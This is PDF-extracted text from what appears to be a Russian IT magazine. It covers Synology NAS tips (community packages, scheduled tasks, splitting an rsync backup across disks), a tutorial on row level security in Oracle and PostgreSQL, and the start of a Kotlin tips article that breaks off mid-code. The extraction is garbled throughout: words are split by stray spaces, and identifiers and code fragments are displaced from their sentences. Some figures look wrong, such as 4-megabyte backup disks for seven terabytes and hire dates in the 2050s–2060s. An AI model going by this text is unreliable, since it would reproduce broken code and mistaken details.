будет под клю чить репози торий, под держи ваемый сооб щес твом поль зовате‐ 
лей Synology. Для это го дос таточ но добавить источник SynoCommunity.
1. За пус ти Package Center.
2. От крой нас трой ки (Settings) → Package Sources.
3. До бавь  (кноп ка  Add)  новый  репози торий.  Наз вание:  ,
URL:  .

SynoCommunity

http://packages.synocommunity.com/

Что полез ного есть в этом репози тории? Нап ример, уже упо мяну тый редак‐ 
тор тек стов nano, фай ловый менед жер Midnight Commander и дру гие ути литы
коман дной стро ки, при выч ные поль зовате лям Linux, — в пакете SynoCLI.

Еще  мож но  упо мянуть  Entware,  инс трук ция  по  уста нов ке  которо го  есть
на  .GitHub

ЛЮБОЙ СКРИПТ ПО РАСПИСАНИЮ
Воз можность выпол нять задачи по рас писанию — одна из клю чевых осо бен‐ 
ностей  сетевых  хра нилищ.  В  Synology  по  рас писанию  мож но  соз давать
резер вные копии, выпол нять сбор ку мусора (trim) твер дотель ных накопи телей
и дис ков с SMR, реп лициро вать дан ные, да и вооб ще соз давать любые мыс‐ 
лимые задачи, которые будут запус кать ся хоть по рас писанию, хоть по одно‐ 
му из опре делен ных триг геров. Запуск по рас писанию выг лядит так.

При желании задачу мож но запус кать вмес те с заг рузкой сис темы или непос‐ 
редс твен но перед вык лючени ем.

В  качес тве  задачи  может  выс тупать  хоть  пос ледова тель ность  команд,  хоть
любой  поль зователь ский  скрипт.  Выпол нять  задачу  мож но  от  лица  любого
авто ризо ван ного поль зовате ля или от име ни поль зовате ля root.

По чему  эта  воз можность  дос той на  отдель ного  упо мина ния?  Да  прос то
потому, что в дру гих готовых решени ях (QNAP, Asustor) ничего подоб ного нет
и  близ ко.  Да,  в  хра нили щах,  соб ранных  самос тоятель но  с  исполь зовани ем,
к  при меру,  OpenMediaVault,  такая  воз можность  есть  —  но  мы‐то  говорим
об  устрой ствах,  которые  про дают  в магази нах  самым обыч ным  поль зовате‐ 
лям!

Это не озна чает,  что, нап ример, в сетевом хра нили ще Asustor или QNAP
поль зователь не смо жет соз давать резер вные копии по рас писанию — смо‐ 
жет,  если  рас писание  под держи вает ся  непос редс твен но  в  при ложе нии
или той час ти сис темных нас тро ек, которые отно сят ся к резер вно му копиро‐ 
ванию. Но, к при меру, прос тая задача раз будить уда лен ное устрой ство через
Wake On  Lan,  пос ле  чего  соз дать  на  нем резер вную  копию и отклю чить  его
уда лен ным запус ком скрип та через SSH не получит ся без исполь зования тер‐ 
минала и уме ния вруч ную нас тро ить cron. А в Synology — получит ся. Кста ти,
раз работ чикам  QNAP  было  нас толь ко  лень  возить ся  с  пол ноцен ным  дис‐ 
петче ром  задач,  что  они  даже  соз дали    о  том,  как  поль‐ 
зовате лю самому нас тро ить crontab через коман дную стро ку.

под робную  статью

РЕЗЕРВНОЕ КОПИРОВАНИЕ: ОДИН БОЛЬШОЙ ИЛИ НЕСКОЛЬКО
МАЛЕНЬКИХ?
Иног да  встре чает ся  ситу ация,  ког да  в  сетевом  хра нили ще  нас тро ен  единс‐ 
твен ный  боль шой  том.  Как  извес тно,  RAID,  даже  зер каль ный,  не  замена
резер вным  копи ям.  Про ще  все го  резер вные  копии  соз давать  на  внеш них
накопи телях — нап ример, WD My Book или Seagate Backup Plus. Но сде лать
так,  что бы  резер вная  копия  боль шого  тома  сама  по  себе  «пореза лась»
на  неболь шие  кусоч ки,  —  задача  не  всег да  три виаль ная,  осо бен но  если
внеш ние дис ки под клю чать не одновре мен но, а по одно му.

Ва риант решения, удоб но работа ющий с Synology бла года ря воз можнос ти
запус кать  про изволь ные  скрип ты  по  рас писанию,  —  это  коман да  rsync,
в  которой  дан ные  с  боль шого  тома  копиру ются  на  неболь шие  дис ки  пор‐ 
циями.  Про ще  все го  это го  дос тичь,  исклю чая  для  каж дого  из  дис ков  часть
катало гов  вер хне го  уров ня  по  алфа виту.  К  при меру,  у  нас  есть  пап ки:  Alfa,
Bravo, Charlie, Delta, …, Yankee, Zulu.

До пус тим,  их  общий  объ ем  сос тавля ет  поряд ка  7  Тбайт,  а  резер вную
копию мы хотим соз дать на двух дис ках по 4 Мбайт.

Пер вая коман да сох ранит на диск все пап ки, кро ме тех, наз вания которых
начина ются на бук вы с U по Z  (сим вол  / показы вает, что речь идет о пап ках
пер вого  уров ня отно ситель но начала пути резер вно го  копиро вания,  ука зан‐ 
ного в source. Так коман да не вли яет на вло жен ные пап ки):

   $ rsync ‐av ‐‐exclude '/[u‐zU‐Z]*/' откуда куда1 

Вто рая сох ранит оставши еся пап ки на сле дующий диск:

   $ rsync ‐av ‐‐exclude '/[0‐9a‐tA‐T]*/' откуда куда2 

Офор мить эти коман ды мож но в дис петче ре задач, запус кая таким обра зом
резер вное  копиро вание  либо  по  рас писанию  (внеш ние  дис ки  дол жны  быть
смон тирова ны), либо вруч ную, под клю чая их по одно му. Разуме ется, исклю‐ 
чать мож но любые бук вы.

Пре иму щес тва такого спо соба перед выбором кон крет ного набора папок
вруч ную  в  том,  что  он  будет  работать  даже  при  уда лении  или  добав лении
новых папок, в то вре мя как при фик сирован ной нас трой ке задачи резер вно‐ 
го копиро вания из окон ного интерфей са это го пре иму щес тва не будет.

ЛЮБОЕ ПРИЛОЖЕНИЕ — НА ДОМАШНЕМ ЭКРАНЕ
Ес ли подумать, то все‐таки запус кать скрип ты через дис петчер задач как‐то…
неп равиль но.  Есть  более  кра сивый  спо соб:  соб рать  при  помощи  опен сор‐ 
сной ути литы  (есть вер сия для Windows) собс твен ный пакет,  который мож но
вруч ную  уста новить  в  NAS.  Все,  что  будет  делать  такой  пакет, —  это  отоб‐ 
ражать  кра сивую  икон ку  на  домаш нем  экра не,  а  при  запус ке  выпол нять
скрипт по ука зан ному пути.

Ути лита называ ется прос то — MODS (My Own DSM Shortcuts Packager for
Synology). Ска чать ее мож но с  .GitHub

ЗАКЛЮЧЕНИЕ
Synology DSM — дос таточ но раз витая и удоб ная плат форма, которую мож но
сде лать  еще  луч ше.  Разуме ется,  тем,  кто  собира ет  сетевое  хра нили ще
самос тоятель но,  все  это  не  нуж но —  но  готовое  решение  обла дает  целым
рядом сво их пре иму ществ.

https://github.com/bb-qq/r8152
https://github.com/bb-qq/r8152/issues/42
https://github.com/Entware/Entware/wiki/Install-on-Synology-NAS
https://wiki.qnap.com/wiki/Add_items_to_crontab
https://github.com/vletroye/Mods
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КОДИНГ

Есть раз ные спо собы показать поль зовате‐ 
лю  толь ко  те  дан ные,  которые  ему  нуж ны.
Row level security — один из самых уни вер‐ 
саль ных, прос тых и надеж ных. Про читав эту
статью,  ты  пой мешь,  что  это  нес ложно,
и  научишь ся  орга низо вывать  раз гра ниче‐ 
ние  дос тупа  к  записям  средс тва ми  самой
БД  без  осо бого  ущер ба  для  про изво‐ 
дитель нос ти.

Ме ханизм  row  level  security  поз воля ет  реали зовать  раз гра ниче ние  дос тупа
к  дан ным  средс тва ми  базы  дан ных  проз рачно  для  работа ющих  с  ней  при‐ 
ложе ний. Даже если зло умыш ленник получил пря мой дос туп к базе, нап ример
под  учет ной  записью  вла дель ца  схе мы  с  дан ными,  RLS  может  не  дать  ему
уви деть защищен ную информа цию. Полити ки RLS поз воля ют уби рать стро ки
из  выбор ки  целиком  или  скры вать  зна чения  стол бцов  для  строк,  к  которым
поль зователь не име ет дос тупа. В этом отли чие от обыч ного управле ния пра‐ 
вами в БД, которые мож но выдать толь ко на объ ект целиком.

Как это работа ет? При выпол нении любого зап роса  к базе пла ниров щик
про веря ет, есть ли для этих таб лиц полити ки дос тупа. Если есть, он вычис ляет
на  осно ве  каж дой  полити ки  допол нитель ный  пре дикат,  который  добав ляет
к зап росу. Пре дика ты могут быть любой слож ности. Нап ример, вот такими:

                   
             

and (512 in (select id_user from v_admin_users where id_department =
255) or 512 in (select id_user from v_bypass_rls))

Плюс в  том, что пре дика ты работа ют для любых зап росов, в  том чис ле сде‐ 
лан ных  через  инс тру мен ты  адми нис три рова ния  (SQL Developer,  Toad,  PgAd‐
min и так далее) и даже при экспор те дам пов. Это еди ный механизм управле‐ 
ния дос тупом для всех при ложе ний на уров не ядра СУБД. Почему он не  так
час то исполь зует ся на прак тике? Вот нес коль ко при чин.

Лю дей, которые уме ют работать с базами на дос таточ ном уров не, мно го
мень ше,  чем  обыч ных  прог раммис тов.  Час то  про ще  и  дешев ле  реали‐ 
зовать механиз мы кон тро ля дос тупа в слое при ложе ния.

•

Проз рачность.  Если  RLS  вык лючен,  это  может  обна ружить ся  не  сра зу.
При ложе ния  про дол жат  работать  нор маль но,  но  будут  выдавать  дан ных
боль ше, чем нуж но. Само по себе это не страш но, но при пло хих про цес‐ 
сах и в сочета нии с пре дыду щим пун ктом чре вато проб лемами.

•

До пол нитель ный  рас ход  ресур сов  на  выпол нение  зап роса.  Обыч но  этот
фак тор  не  игра ет  реша ющей  роли.  Если  RLS  дей стви тель но  нужен,  его
вклю чают и при нима ют чуть более мед ленную работу как дан ность. Но при
неуме лом  при мене нии  мож но  тра тить  на  RLS  в  разы  боль ше,  чем
на полез ную работу.

•

В общем, row level security — это инс тру мент для цен тра лизо ван ного управле‐ 
ния дос тупом к дан ным. Он реали зован во мно гих сов ремен ных СУБД — нап‐ 
ример, Oracle, PostgreSQL и MS SQL Server. В этой статье я покажу,  как это
работа ет в пер вых двух.

ORACLE
Нач нем с реали зации RLS в Oracle и сра зу ныр нем в прак тику.

Пример для Oracle
Мы  поп робу ем  реали зовать  прос тую  полити ку  на  стан дар тной  схе ме  HR.
Обыч ный  поль зователь  может  видеть  толь ко  свои  дан ные.  Руково дитель
депар тамен та  может  видеть  все  дан ные  по  депар тамен ту.  Для  это го  нам
понадо бит ся:

оп ределить, какому сот рудни ку соот ветс тву ет сес сия;•
соз дать фун кцию, вычис ляющую для него пре дикат;•
нас тро ить полити ку, свя зыва ющую фун кцию с таб лицей.•

Мы будем счи тать, что при ложе ние под клю чает ся к базе под учет ной записью
поль зовате ля  HR  и  в  этой  прог рамме  есть  инс тру мент  аутен тифика ции,
который поз воля ет понять, какой имен но из сот рудни ков с ней работа ет. Дан‐ 
ные  о  том,  какой  сот рудник  под клю чен,  мы  будем  сох ранять  в  кон тек сте —
спе циаль ном  key‐value  хра нили ще  атри бутов,  управля ющих  при ложе ниями.
Мож но исполь зовать стан дар тный  , но мы соз дадим свой
собс твен ный.  Для  это го  при дет ся  соз дать  и  пакет,  который  будет  с  ним
работать.

CLIENT_IDENTIFIER

Для  начала  соз дадим  от  име ни  при виле гиро ван ного  поль зовате ля  кон‐ 
текст и сра зу ука жем, какой пакет может его менять:

       CREATE CONTEXT SECURITY_CONTEXT USING HR.P_SEC_CONTEXT;

Соз даем пакет для работы с кон тек стом:

         create or replace package P_SEC_CONTEXT is

     procedure set_employee(p_employee_id in number);

 end P_SEC_CONTEXT;
/

           create or replace package body P_SEC_CONTEXT is

       procedure set_employee(p_employee_id in number)
 is
 begin
     dbms_session.set_context(namespace => 'SECURITY_CONTEXT',
                  attribute => 'EMPLOYEE_ID',
                      value => p_employee_id);
 end;

 end P_SEC_CONTEXT;
/

Те перь    будет  исполь зовать ся  при ложе нием,
что бы задать код сот рудни ка в таб лице  , который работа ет в этой
сес сии БД.

p_sec_context.set_employee
EMPLOYEES

При  исполь зовании  пула  соеди нений  нуж но  задавать  кон текст  каж дый  раз
при получе нии нового под клю чения. Зна чение по умол чанию мож но задавать
в триг гере на логин, но это не обя затель но. При мер триг гера:

           create trigger tr_hr_logon after logon on HR.SCHEMA
begin
  p_sec_context.set_employee(null);
end;
/

При  исполь зовании    вмес то 
 нуж но ука зать  .

CLIENT_IDENTIFIER p_sec_context.set_em‐
ployee dbms_session.set_identifier

Да лее нам понадо бит ся фун кция, фор миру ющая пре дикат дос тупа. Текст,
который  она  вер нет,  будет  добав лять ся  к  обще му  бло ку  усло вий  (WHERE)
любого  зап роса,  исполь зующе го  таб лицу  через  AND.  Ты  можешь  думать
об этом как о таком пре обра зова нии: 

.  Фун кция  дол жна  при‐ 
нимать два стро ковых парамет ра: имя схе мы и имя таб лицы. Она не дол жна
ничего  писать  в  базу  (уро вень  чис тоты  WNDS  —  write  no  database  state),
но дек лариро вать это через   не тре бует ся:

WHERE (все мои условия объединены
в  один  блок  скобками)  AND  предикат_доступа

pragma RESTRICT_REFERENCES

           create or replace function sec_employees(p_schema_name in varchar2,
                        p_object_name in varchar2)
     return varchar2 is
begin
             return ' (employee_id = sys_context (''SECURITY_CONTEXT'', ''
EMPLOYEE_ID'')'
              || ' or department_id in '
                      

   
|| '(select department_id from departments where manager_id =

sys_context (''SECURITY_CONTEXT'', ''EMPLOYEE_ID'')))';
end;
/

Мак сималь ная дли на получив шегося усло вия не может пре вышать 32 Кбайт.
В осталь ном мож но себя не огра ничи вать — под запро сы, соеди нения таб лиц
и вся мощь SQL дос тупны.

INFO

Об рати  вни мание,  что  здесь  вызов 
  вклю чили  в  пре дикат,  вмес то  того  что бы

соеди нить его с осталь ными усло виями. Это нуж‐ 
но,  что бы  умень шить  количес тво  пол ных  раз‐ 
боров зап роса пла ниров щиком.

sys_con‐
text

На конец,  соз даем  полити ку  для  таб лицы  под  при виле гиро ван ным  поль‐ 
зовате лем:

begin
   dbms_rls.add_policy(object_schema         => 'HR',
             object_name           => 'EMPLOYEES',
             policy_name           => 'TEST_EMPLOYEES',
             function_schema       => 'HR',
             policy_function       => 'SEC_EMPLOYEES',
             statement_types       => 'SELECT',
             enable                => true,
             policy_type           => dbms_rls.
SHARED_CONTEXT_SENSITIVE);
end;
/

Пос ле это го   начина ет воз вра щать ноль записей.
Зада ем кон текст и получа ем пол ноцен ный дос туп:

select * from EMPLOYEES

begin
     p_sec_context.set_employee(p_employee_id => 100);
end;

В пла не зап роса добав ленный пре дикат явно виден.

Производительность
RLS вли яет на про изво дитель ность за счет двух фак торов.
1. Вре мя  на  фор мирова ние  допол нитель ного  пре дика та.  Для  его  сок‐ 
ращения  нуж но  мак сималь но  исполь зовать  кеширо вание.  Тип  кеширо‐ 
вания опре деля ется типом полити ки. В нашем при мере 

,  пре дикат не вычис ляет ся пов торно, если  кон текст сес сии
не менял ся, и он не будет вычис лять ся для дру гих объ ектов, исполь зующих
эту же фун кцию.

SHARED_CONTEX

T_SENSITIVE

2. Вре мя  на  выпол нение  допол нитель ного  пре дика та.  Здесь  все  зависит
от  тво ей фан тазии. Он опти мизи рует ся  точ но  так же,  как и обыч ные зап‐ 
росы.

Проблемы и возможные пути решения
1. В этом при мере при задании кон тек ста мы доверя ем вызыва юще му коду.
Ник то  не  меша ет  вызывать    с  раз ными
иден тифика тора ми и про верять резуль таты. Мож но усложнить жизнь ата‐ 
кующе му,  добавив  к  коду  поль зовате ля  допол нитель ные  дан ные,
по  которым  про верять  пра виль ность  вызова.  Нап ример,  хеш  от  име ни
поль зовате ля и текуще го вре мени.

p_sec_context.set_employee

2. Кое‐что мож но узнать в обход RLS. Oracle собира ет ста тис тику в таб лицах:
количес тво строк, наиболь шее и наимень шее зна чение стол бца, количес‐ 
тво  уни каль ных зна чений,  гис тограм мы рас пре деле ния. Ста тис тика никак
не филь тру ется полити ками, и эти дан ные видят все поль зовате ли. Экспе‐ 
римен тируя с вне сени ем изме нений в  таб лицы,  где есть внеш ние клю чи,
тоже мож но получить допол нитель ную информа цию. Огра ниче ния по уни‐ 
каль нос ти так же никак не учи тыва ют полити ки.

3. В  этом  при мере  код,  отве чающий  за  безопас ность,  помещен  в  схе му
с  дан ными.  Это  дает  поль зовате лю  HR  воз можность  прос матри вать  его
и  менять.  Для  усложне ния  жиз ни  ата кующе му  луч ше  вынес ти  объ екты
в отдель ную схе му. При желании мож но и обфусци ровать код, но это ско‐ 
рее из области зам ков от чес тных людей.

4. Пре дика ты  вычис ляют ся  динами чес ки,  во  вре мя  выпол нения,  поэто му
отла живать их тяжело. С этим оста ется толь ко сми рить ся.

POSTGRESQL
В  PostgreSQL  RLS  появил ся  начиная  с  вер сии  9.5.  В  отли чие  от  Oracle,
полити ки в нем ком пилиру емые. Это упро щает раз работ ку и устра няет проб‐ 
лемы с кешами, но дает чуть мень ше воз можнос тей.

Пример для PostgreSQL
Мы будем реали зовать  ту  же  полити ку,  которую делали  на Oracle. Обыч ный
поль зователь может видеть толь ко свои дан ные. Руково дитель депар тамен та
может  видеть  все  дан ные  по  нему.  Если  что‐то  пош ло  не  так,  нуж но
не выдавать ошиб ку, но и дос туп к дан ным не раз решать. Схе мы HR у нас нет,
поэто му для начала соз дадим минималь ный набор таб лиц с дан ными:

   create table hr.employees
(
      employee_id serial,
       first_name VARCHAR(20),
 last_name      VARCHAR(25),
 email          VARCHAR(25),
     phone_number VARCHAR(20),
 hire_date      DATE,
 job_id         VARCHAR(10),
 salary         float,
   commission_pct float,
       manager_id integer,
    department_id integer
);

             
           

insert into hr.employees (employee_id, first_name, last_name, email,
phone_number, hire_date, job_id, salary, commission_pct, manager_id,
department_id)

           
           

values (100, 'Steven', 'King', 'SKING', '515.123.4567', to_date('20‐
03‐2058', 'dd‐mm‐yyyy'), 'AD_PRES', 24000.00, null, null, 90);

             
           

insert into hr.employees (employee_id, first_name, last_name, email,
phone_number, hire_date, job_id, salary, commission_pct, manager_id,
department_id)

           
           

values (101, 'Neena', 'Kochhar', 'NKOCHHAR', '515.123.4568', to_date(
'24‐06‐2060', 'dd‐mm‐yyyy'), 'AD_VP', 17000.00, null, 100, 90);

             
           

insert into hr.employees (employee_id, first_name, last_name, email,
phone_number, hire_date, job_id, salary, commission_pct, manager_id,
department_id)

             
           

values (102, 'Lex', 'De Haan', 'LDEHAAN', '515.123.4569', to_date('17
‐10‐2055', 'dd‐mm‐yyyy'), 'AD_VP', 17000.00, null, 100, 90);

             
           

insert into hr.employees (employee_id, first_name, last_name, email,
phone_number, hire_date, job_id, salary, commission_pct, manager_id,
department_id)

           
           

values (103, 'Alexander', 'Hunold', 'AHUNOLD', '590.423.4567',
to_date('06‐10‐2060', 'dd‐mm‐yyyy'), 'IT_PROG', 9000.00, null, 102,
60);

             
           

insert into hr.employees (employee_id, first_name, last_name, email,
phone_number, hire_date, job_id, salary, commission_pct, manager_id,
department_id)

           
           

values (104, 'Bruce', 'Ernst', 'BERNST', '590.423.4568', to_date('21‐
02‐2062', 'dd‐mm‐yyyy'), 'IT_PROG', 6000.00, null, 103, 60);

             
           

insert into hr.employees (employee_id, first_name, last_name, email,
phone_number, hire_date, job_id, salary, commission_pct, manager_id,
department_id)

           
           

values (105, 'David', 'Austin', 'DAUSTIN', '590.423.4569', to_date('
28‐03‐2060', 'dd‐mm‐yyyy'), 'IT_PROG', 4800.00, null, 103, 60);

   create table hr.departments
(
         department_id serial primary key,
   department_name VARCHAR(30),
 manager_id      numeric,
       location_id numeric
);

         
 

insert into hr.departments (department_id, department_name,
manager_id, location_id)

       values (60, 'IT', 103, 1400);

         
 

insert into hr.departments (department_id, department_name,
manager_id, location_id)

       values (90, 'Executive', 100, 1700);

   alter table hr.employees
               

 
add constraint fk_emp_dep foreign key (department_id) references hr

.departments (department_id)
            on update cascade on delete cascade;

   create index fki_emp_dep
   on hr.employees(department_id);

Те перь вклю чим RLS на таб лице:

           alter table hr.employees enable row level security;

Вклю чим RLS для ее вла дель ца. По умол чанию они игно риру ют полити ки дос‐ 
тупа.

           alter table hr.employees force row level security;

До бавим пре дикат дос тупа:

       create policy test_security on hr.employees
       
 
using ((employee_id = current_setting('SECURITY_CONTEXT.EMPLOYEE_ID

', true)::integer
       or department_id in
                   

 
(select department_id from hr.departments where manager_id =

current_setting('SECURITY_CONTEXT.EMPLOYEE_ID', true)::integer)));

Using содер жит точ ный текст, который будет добав лен к зап росу при выпол‐ 
нении полити ки, при этом его син таксис про веря ется сра зу. Фун кция 

  воз вра щает  зна чение  парамет ра  сес сии,  иден тифици рующе го
поль зовате ля.  Вто рой  параметр  подав ляет  ошиб ки,  если  кон текст  не  ини‐ 
циали зиро ван. При ложе ние смо жет задать его таким зап росом:

curren‐
t_setting

     select set_config('SECURITY_CONTEXT.EMPLOYEE_ID', '100', false);

Нас трой ка закон чена. Смот рим план выпол нения.

 

 

 

 

 

Seq Scan on employees  (cost=20.36..21.49 rows=3 width=322)

Filter: ((employee_id = 
(current_setting('SECURITY_CONTEXT.EMPLOYEE_ID'::text, true))::integer) 
OR (hashed SubPlan 1))

SubPlan 1 
  →  Seq Scan on departments  (cost=0.00..20.35 rows=2 width=4)

Filter: (manager_id = 
((current_setting('SECURITY_CONTEXT.EMPLOYEE_ID'::text, 
true))::integer)::numeric)

Мож но  пой ти  дру гим  путем:  завес ти  для  каж дого  сот рудни ка  сво его  поль‐ 
зовате ля  БД  и  нас тро ить  полити ку  для  учет ной  записи.  Для  начала  уда лим
полити ку:

       drop policy test_security on hr.employees;

Ког да  опе рации  попада ют  под  дей ствие  нес коль ких  политик,  они  объ еди‐ 
няют ся опе раци ей OR, поэто му, если бы мы не уда лили test_security, зап росы
к  employees  выг лядели  бы  как 

.

where  ...  (  ((employee_id  =  curren‐
t_setting('SECURITY_CONTEXT.EMPLOYEE_ID',  true)::integer  or  de‐
partment_id  in  (select  department_id  from  hr.departments  where 
manager_id  =  current_setting('SECURITY_CONTEXT.EMPLOYEE_ID', 
true)::integer))) OR (email = current_user))

Соз дадим новую:

       create policy test_security_role on hr.employees
   for select
       using (email = current_user);

Эта полити ка поз воля ет поль зовате лю уви деть толь ко свои дан ные. Для это го
ему при дет ся под клю чать ся к базе, исполь зуя учет ную запись, сов пада ющую
с его поч той, нап ример SKING, а не общую учет ку HR. В при ложе нии ничего
задавать допол нитель но не тре бует ся. Зато каж дому челове ку, работа юще му
с сис темой, при дет ся соз дать поль зовате ля в БД со все ми пра вами.

Возможные проблемы
Как  и  в Oracle,  мож но  час тично  обой ти RLS,  если  есть  дос туп  к  ста тис тике.
Кро ме это го, фун кции, объ явленные как leakproof, могут выпол нять ся до при‐ 
мене ния  политик.  Если  такая  фун кция,  воп реки  спе цифи кации,  рас кры вает
зна чения сво их аргу мен тов, ее мож но исполь зовать для получе ния информа‐ 
ции.

ЗАКЛЮЧЕНИЕ
Row  level  security —  не  панацея,  у  него  есть  свои  недос татки.  Ког да  име ет
смысл его при менять?
1. С дан ными работа ет боль ше одно го при ложе ния.
2. Нуж но реали зовать раз гра ниче ние дос тупа, не переде лывая силь но прог‐ 
рамму.

3. Нуж но вынес ти управле ние дос тупом к дан ным в отдель ный слой.

Ког да сто ит пой ти дру гим путем?
1. С дан ными гаран тирован но работа ет толь ко одно при ложе ние.
2. Ба за  дан ных  уже  силь но  наг ружена  и  огра ничи вает  про изво дитель ность
сис темы.

Так что выбирай RLS, если он тебе под ходит, и, наде юсь, статья поможет тебе
осво ить эту тех нологию.
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КОДИНГ

Kotlin — один из самых гра мот но спро екти‐ 
рован ных, понят ных и логич ных язы ков пос‐ 
ледних  лет.  На  Kotlin  мож но  начать  соз‐ 
давать  при ложе ния  для  Android,  не  изу чая
язык, но дос тигнуть мас терс тва одной лишь
прак тикой вряд ли получит ся. Эта статья —
сбор ник  советов,  которые  помогут  луч ше
понять  осо бен ности  язы ка  и  прог рамми‐ 
ровать более эффектив но.

NULL ИЛИ НЕ NULL?
Null  safety —  одна  из  клю чевых  осо бен ностей  Kotlin.  Язык  гаран тиру ет,  что
прог раммист не смо жет по ошиб ке выз вать методы объ екта, име юще го зна‐ 
чение null,  или передать  этот объ ект  в  качес тве аргу мен та дру гим методам.
На прак тике это озна чает,  что сис тема типов Kotlin раз делена на две вет ви,
в одной из  которых сущес тву ют nullable‐типы  (со зна ком воп роса на кон це),
а в дру гой — типы, у которых может быть толь ко име ющее смысл зна чение.

Ты можешь написать такой код:

       var string: String? = null

Но не такой:

       var string: String = null

Не nullable‐тип   прос то не может содер жать зна чение null.String
Язык  име ет  ряд  опе рато ров  для  удоб ной  и  надеж ной  работы  с  nullable‐

типами:

// Присвоить переменной length значение одноименного свойства 
string1 либо null

     val length = string1?.length

// Выполнить код в блоке, только если string1 не null
 string1?.let {

   System.out.println(string1)
}

// Заверить компилятор, что в данный момент значение string1 не 
может быть null
string1!!.length

// Объявить переменную не nullable‐типа и заверить компилятор,
// что она будет проинициализирована позже, до первого использования

     lateinit var recyclerView: RecyclerView

В целом удоб ная и понят ная сис тема. Но есть опе ратор, который может сде‐ 
лать  код  еще  более  ком пак тным  и  кра сивым.  Опе ратор  Elvis  вычис ляет
выраже ние сле ва и, если его резуль тат null, вычис ляет выраже ние спра ва. Он
осо бен но удо бен в двух слу чаях. Во‐пер вых, его мож но исполь зовать, что бы
прис воить перемен ной дефол тное зна чение:

           val name: String = person.name ?: "unknown"

Во‐вто рых, что бы вер нуть управле ние из фун кции, если зна чение опре делен‐ 
ной перемен ной рав но null:

     fun addPerson(person: Person) {
             val name = person.name ?: return
}

Но есть и под водные кам ни. Допус тим, у нас есть сле дующий код:

               data?.let { updateData(data) } ?: run { showLoadingSpinner() }

Мо жет показать ся, что этот код дела ет то же самое, что и такой код:

       if (data != null) {
   updateData(data)
   } else {
   showLoadingSpinner()
}

Но  это  не  так.  Пос ледний  при мер  кода  пол ностью  бинар ный:  либо  пер вый
блок,  либо  вто рой.  А  вот  в  пре дыду щем фраг менте  кода могут  быть  выпол‐ 
нены оба бло ка! Это воз можно, если фун кция    сама вер‐ 
нет null. Тог да все выраже ние сле ва вер нет null и будет выпол нен код спра ва
от опе рато ра Elvis. Обой ти эту проб лему мож но, заменив   на  .

updateData(data)

let apply
Еще одна вещь, которую сле дует пом нить о null safety, — это авто мати чес‐ 

кое  выведе ние  типов.  Ком пилятор  (и  пла гин  сре ды  раз работ ки)  Kotlin  дос‐ 
таточ но умен,  что бы понять  тип перемен ной даже в самых слож ных слу чаях.
Но иног да он дает сбои.

Та кое  может  быть  при  парал лель ной  обра бот ке  дан ных.  Возь мем  сле‐ 
дующий при мер:

           class Player(var tune: Tune? = null) {
       fun play() {
               if (tune != null) {
           tune.play()
       }
   }
}

Сре да  раз работ ки  сооб щит,  что  не  выведет  тип  tune,  потому  что  это  изме‐ 
няемое  свой ство.  Ком пилятор  не может  быть  уве рен,  что  меж ду  про вер кой
tune на null и вызовом метода play() дру гой поток не сде лает  .tune = null

Что бы это испра вить, дос таточ но сде лать так:

           class Player(var tune: Tune? = null) {
       fun play() {
       tune?.play()
   }
}

Или так:

           class Player(var tune: Tune? = null) {
       fun play() {
         tune?.let {
                 val success = it.play()
       }
   }
}

Сбои могут воз никать и при вза имо дей ствии с кодом на Java. В Java понятия
null safety нет, поэто му ком пилятор не может знать тип переме ной навер няка.
Kotlin реша ет эту проб лему дву мя спо соба ми:
1. Ком пилятор Kotlin под держи вает прак тичес ки все раз новид ности nullable‐
анно таций,  поэто му,  если  код  анно тиро ван  с  помощью  @NotNull  и  ему
подоб ных  анно таций,  ком пилятор  будет  счи тать,  что  анно тиро ван ная
перемен ная не может быть null.

2. Для вза имо дей ствия с Java (и дру гими язы ками для JVM) в Kotlin есть спе‐ 
циаль ные типы с вос кли цатель ным зна ком на кон це (нап ример, String!, In‐
teger!).  Это  так  называ емые  platform  types,  и  при  работе  с  ними  Kotlin
исполь зует ту же логику, что и Java. Одна ко ее мож но изме нить, если ука‐ 
зать тип нап рямую:

       val docBuilderFactory: DocumentBuilderFactory =
DocumentBuilderFactory.newInstance()

Да лее DocumentBuilderFactory будет счи тать ся не nullable‐перемен ной.

Типы Unit, Nothing, Any в Kotlin
Сис тема  типов  Kotlin  нес коль ко  отли чает ся  от  сис темы  типов  Java  и  может
выз вать  у  нез нающе го  челове ка  мно го  воп росов.  Наибо лее  проб лемны ми
обыч но ока зыва ются типы Unit и Nothing.
•  — экви валент типа void в Java. Дру гими сло вами, он нужен для того,
что бы  показать,  что  фун кция  ничего  не  воз вра щает.  Unit  нас леду ется
от  типа  Any,  а  при  работе  с  Java‐кодом  авто мати чес ки  тран сли рует ся
в void.

Unit

•  —  суб класс  любого  клас са  (имен но  так),  не  поз воля ющий  соз‐ 
дать объ ект сво его типа (конс трук тор при ват ный). Исполь зует ся для пред‐ 
став ления  резуль тата  исполне ния  фун кции,  которая  никог да  не  завер‐ 
шает ся (нап ример, потому что она выб расыва ет исклю чение). При мер:

Nothing

             public inline fun TODO(): Nothing = throw NotImplementedError()
       fun determineWinner(): Player = TODO()

•  — родитель всех осталь ных клас сов. Ана лог Object в Java.Any

КОРУТИНЫ
Еще  одна  важ ная  осо бен ность  Kotlin —  это  корути ны  (coroutines).  Корути ны
поз воля ют  писать  неб локиру емый  парал лель ный  код  в  пос ледова тель ном
сти ле без кол бэков и фьючер сов. С нас кока корути ны понять слож но, а если
исполь зовать офи циаль ную тер миноло гию — еще слож нее. Поэто му пер вое,
о чем мы погово рим, — это как корути ны работа ют.

Как это работает
Са ми раз работ чики Kotlin  называ ют  корути ны  лег ковес ными потока ми. Дан‐ 
ное  опре деле ние  дос таточ но  точ ное,  но  никак  не  поможет  тебе  понять
корути ны  и  исполь зовать  их  пра виль но.  Мы  пой дем  нем ного  дру гим  путем
и нач нем с при мера:

 checkNetworkConnection(context) {
     fetchData(url) {
       updateUi(it)
   }
}

Это дос таточ но типич ный код, который про веря ет под клю чение к интерне ту (в
фоновом потоке). Затем, если резуль тат положи тель ный, запус кает фун кцию
для получе ния дан ных из сети  (опять в фоновом потоке), а пос ле получе ния
отоб ража ет эти дан ные на экра не (в этот раз в основном потоке при ложе ния).

Что бы  выпол нить  все  эти  фун кции  пос ледова тель но  и  не  заб локиро вать
основной  поток  исполне ния,  исполь зуют ся  лям бды.  И  хотя  в  целом  код
не выг лядит таким уж страш ным, в реаль ном про екте все эти кол бэки в ито ге
при ведут к мешани не под наз вани ем callback hell.

Ко рути ны  поз воля ют  спра вить ся  с  проб лемой  кра сиво  и  без  лиш него
кода:

 CoroutineScope(Dispatchers.Main).launch {
         val isConnected = checkNetworkConnection(context)
